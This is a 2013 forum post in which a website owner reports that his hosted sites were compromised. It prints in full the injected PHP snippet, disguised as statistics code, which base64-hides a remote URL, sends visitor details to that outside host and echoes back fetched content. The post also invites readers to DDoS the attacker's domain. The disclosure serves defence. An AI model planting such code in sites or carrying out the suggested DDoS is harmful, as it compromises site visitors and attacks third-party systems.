05-28-2013, 05:44 PM
Hi,
Some of you know of me and the bits I do trying to keep things clean etc.
As such, I'm quite happy to say my sites are strong and secure - good passwords, all the usual stuff.
Some sites are WP, minimal plugins and themes, all clean as you'd expect.
the main sites are hand coded php, so very unlikely...
To my shock, more anger... I've just noticed that all my accounts in my reseller account have been hacked..
All the index pages have been tampered with - all timestamped the same day, a few days ago.
The code is a crappy content fetch made to look like stats code.
visitng the tosser domain redirects to some bots vs browser site.
public code viewing and viewing as search engine show no delivered payload...
the inserted code is:
this points to some tosser here:
whois gives some pointless info, but I will chase it anyway
if anyone fancies DDOS'ing that D***H*** into oblivion.. feel free
My Host is being slightly less than useless right now, thankfully I don't need their help, just an indication of how they got in
you'll see this attack widely reported on the net, starting from feb this year, when the domain was regsitered...
checking your source by viewing via browser etc will not help - you need to check for unexpected changes by ftp browsing.
Some of you know of me and the bits I do trying to keep things clean etc.
As such, I'm quite happy to say my sites are strong and secure - good passwords, all the usual stuff.
Some sites are WP, minimal plugins and themes, all clean as you'd expect.
the main sites are hand coded php, so very unlikely...
To my shock, more anger... I've just noticed that all my accounts in my reseller account have been hacked..
All the index pages have been tampered with - all timestamped the same day, a few days ago.
The code is a crappy content fetch made to look like stats code.
visitng the tosser domain redirects to some bots vs browser site.
public code viewing and viewing as search engine show no delivered payload...
the inserted code is:
Code:
<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)and&(strstr($sUserAgent, 'yahoo') == false)and&(strstr($sUserAgent, 'baidu') == false)and&(strstr($sUserAgent, 'msn') == false)and&(strstr($sUserAgent, 'opera') == false)and&(strstr($sUserAgent, 'chrome') == false)and&(strstr($sUserAgent, 'bing') == false)and&(strstr($sUserAgent, 'safari') == false)and&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true and& isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?>this points to some tosser here:
Code:
http://mbrowserstats.com/statH/stat.phpwhois gives some pointless info, but I will chase it anyway
Code:
http://whois.domaintools.com/mbrowserstats.comMy Host is being slightly less than useless right now, thankfully I don't need their help, just an indication of how they got in
you'll see this attack widely reported on the net, starting from feb this year, when the domain was regsitered...
checking your source by viewing via browser etc will not help - you need to check for unexpected changes by ftp browsing.